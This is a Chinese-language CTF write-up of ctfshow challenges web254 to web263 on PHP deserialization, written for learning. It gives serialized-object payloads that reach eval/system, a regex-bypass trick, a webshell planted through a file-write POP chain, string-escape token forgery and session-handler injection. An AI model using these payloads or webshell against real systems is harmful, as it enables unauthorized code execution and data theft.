非反序列化
web254-简单审计
这个题是搞笑的么🤣
按着源码顺序走一遍
......
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
接受两个参数,生成对象,调用 login 函数
# login 函数
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
......
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
......
payload
?username=xxxxxx&password=xxxxxx
web259-伪造请求
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
需要伪造 xff 头
这题和反序列化没关系。。。
然后去浏览器访问 /flag.txt
web260-正则匹配
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以
<?php
class ctfshow_i_love_36D{
}
var_dump(urlencode(serialize(new ctfshow_i_love_36D())));
?>
payload
?ctfshow=O%3A18%3A"ctfshow_i_love_36D"%3A1%3A%7Bs%3A5%3A"isVip"%3Bb%3A1%3B%7D
简单反序列化
web255-简单序列化字符串构造
这次是通过反序列化 cookie 生成对象
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
让 isVip 的值为 ture
去构造序列化,反序列化简单的题还是很简单的,因为方法在反序列化时没法保存,所以只能控制属性
<?php
class ctfShowUser{
public $isVip=TRUE;
}
var_dump(serialize(new ctfShowUser()))
?>
# O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
# 分号需要 url 编码
改变 cookie 的值,添加 user 字段,可以浏览器F12添加,也可以 burp 抓包添加
添加之后访问 url
/?username=xxxxxx&password=xxxxxx
cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}"
得到 flag
web256-简单序列化字符串构造
和上题的基本套路一致,不过 vipOneKeyGetFlag 函数发生了变化
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
注意就是 username 的值和 password 的值不能相等,其实这点很好实现,因为反序列化后生成的 ctfShowUser 对象的属性是可以控制的,让 username 是任意字符串都可以
<?php
class ctfShowUser{
public $username='anything';
public $isVip=TRUE;}
}
var_dump(serialize(new ctfShowUser()))
?>
# O:11:"ctfShowUser":2:{s:8:"username";s:8:"anything";s:5:"isVip";b:1;}
# O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22anything%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257-魔法方法
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
魔法方法他来了,刚才说了方法不能被序列化,但是比如 __construct 魔法方法这种在生成对象时就被调用了,所以在构造序列化字符串时也要考虑
简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了
class ctfShowUser{
# 没用到的都可以删掉
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
# 用到了,但是值无关紧要
public $class = 'info';
# 构造方法,创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作
public function __construct(){
$this->class=new info();
# 因为代码执行函数在 backDoor 类,所以这里可以直接 $this->class=new backDoor();
}
# 不能序列化
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
# 析构方法,对象销毁时生效,所以无效
public function __destruct(){
$this->class->getInfo();
}
}
# 没用到删去
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
# 要利用的类
class backDoor{
# 关键点,code是可以控制的,code有可以执行代码,这里code=恶意代码
public $code;
# 方法不能序列化,删除
public function getInfo(){
eval($this->code);
}
}
最终代码
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("tac flag.php");';
# 要执行的命令
}
var_dump(urlencode(serialize(new ctfShowUser())));
?>
# O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
payload
get访问 /?username=xxxxxx&password=xxxxxx
cookie:user=序列化后的字符串
web258-空格绕过正则
在上题的基础上添加了正则过滤
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正则意思就是 O:数字 C:数字 等的这种情况不能出现,看下原来的 payload
O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac flag.php");";}}
可以在冒号后边加一个空格绕过正则
O%3A%2011%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%208%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system(%22tac%2Bflag.php%22)%3B%22%3B%7D%7D
POP链
web261-__unserialize函数
先上源码
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
整理下魔术方法
__construct 构造函数会在每次创建新对象时先调用
__wakeup unserialize()函数执行时会检查是否存在一个 __wakeup 方法,如果存在,则先被调用
__invoke() 当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
__sleep serialize()函数在执行时会检查是否存在一个`__sleep`魔术方法,如果存在,则先被调用
__destruct 析构函数是 php5 新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误
注意:
如果类中同时定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略
# __serialize 和 __unserialize 特性自 PHP 7.4.0 起可用
因为存在 __unserialize
函数,所以在 get 传入 vip 的值反序列化时直接调用 __unserialize
而不是 __wakeup
函数
__invoke
方法存在中的 eval 函数,但是却无法利用,但是 __destruct
方法中存在任意文件写入,可以利用写入一句话木马
__unserialize
函数中,code = username 的值拼接了 password 的值
$this->code = $this->username.$this->password;
在 __destruct
方法 比较了 code 的值,但是此处是双等号弱类型比较可以绕过
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
构造代码
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
# 最好是先实例化一个对象再序列化
# 877.php==877是成立的(弱类型比较)
var_dump(urlencode(serialize($a)));
# urlencode 将不可见字符编码
使用蚁剑连接,flag 在根目录
跟题目提示的打 Redis 没有关系的
web262-字符串逃逸替换变长
贴源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
题目注释中有 message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
也就是说需要改变 token 的值才能得到 flag,接下来就需要找到改变 token 值的方法,index.php 中存在字符替换
$umsg = str_replace('fuck', 'loveU', serialize($msg));
# fuck 替换为 loveU,从四个字符长度替换为五个字符长度
但是要注意替换发生在序列化之后,先来看一个普通的序列化字符串
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
# O 表示序列化类型为 class
# 11 表示类名的长度为11
# 1 表示有一对参数
# s 表示字符串类型,后边的 5 就表示的是字符串的长度
# b 表示Boolean类型true,1就是true
php在反序列化时,底层代码是以;
作为字段的分隔,以}
作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
回去再看传入的三个值:f、m、t,看看生成的序列化字符串
O:7:"message":4:{s:4:"from";s:1:"f";s:3:"msg";s:1:"m";s:2:"to";s:1:"t";s:5:"token";s:4:"user";}
只要让 t 的值为多个 fuck ,之后替换为 loveU,前边的长度不变,就可以把伪造的含有 admin 的字符串挤出去,替换掉原来的字符串,看下要伪造 admin 字符长度
只需要准备27个 fuck,
"fuck"*27
'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck'
因为 f 和 m 的值没什么用随便传个值就行
payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问 manage.php
web263-session反序列化
主页是一个登录界面,使用 dirsearch 扫描发现 www.zip 文件
index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
注意这里设置 cookie 的时候没有设置 seesion 序列化选择器的,就是 php.ini 中配置的序列化选择器
回顾下三种选择器
选择器 | 存储格式 | 样例 $_SESSION[‘name’] = ‘ocean’; |
---|---|---|
php_serialize | 经过 serialize() 函数序列化数组 | a:1:{s:4:“name”;s:5:“ocean”;} |
php(默认) | 键名 竖线 经过 serialize() 函数处理的值 | name|s:5:“ocean”; |
php_binary | 键名的长度对应的ascii字符 键名 serialize() 函数序列化的值 | name s:6:“spoock”; |
然后 inc.php 中却单独声明使用了 php 序列化选择器,应该出题人改了默认的选择器,不然这里就不会单独声明了,还有一点就是,第六行的 session_start() 函数会解析 session 文件,就相当于进行了反序列化
# inc.php
......
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
......
User 类中的 file_put_contents 像是一个利用点,
访问首页,抓包可以看到 Cookie:limit 参数,可以把反序列化数据写入 session 文件
因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件
<?php
class User{
public $username = 'test.php';
public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
加
'|'
是因为session.serialize_handler
使用php引擎
,session 关联数组的key
和value
是通过'|'
区分的,value
是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在inc/inc.php
这读取语义又不一样了
具体步骤就是:
-
生成 base64 编码序列化字符串
-
将字符串在浏览器中保存为cookie(输入cookie,刷新下页面),或者抓包改 cookie:limit 的值
-
请求 check.php 反序列化,生成文件
-
访问生成的文件,得到flag
参考链接
https://blog.csdn.net/miuzzx/article/details/110558192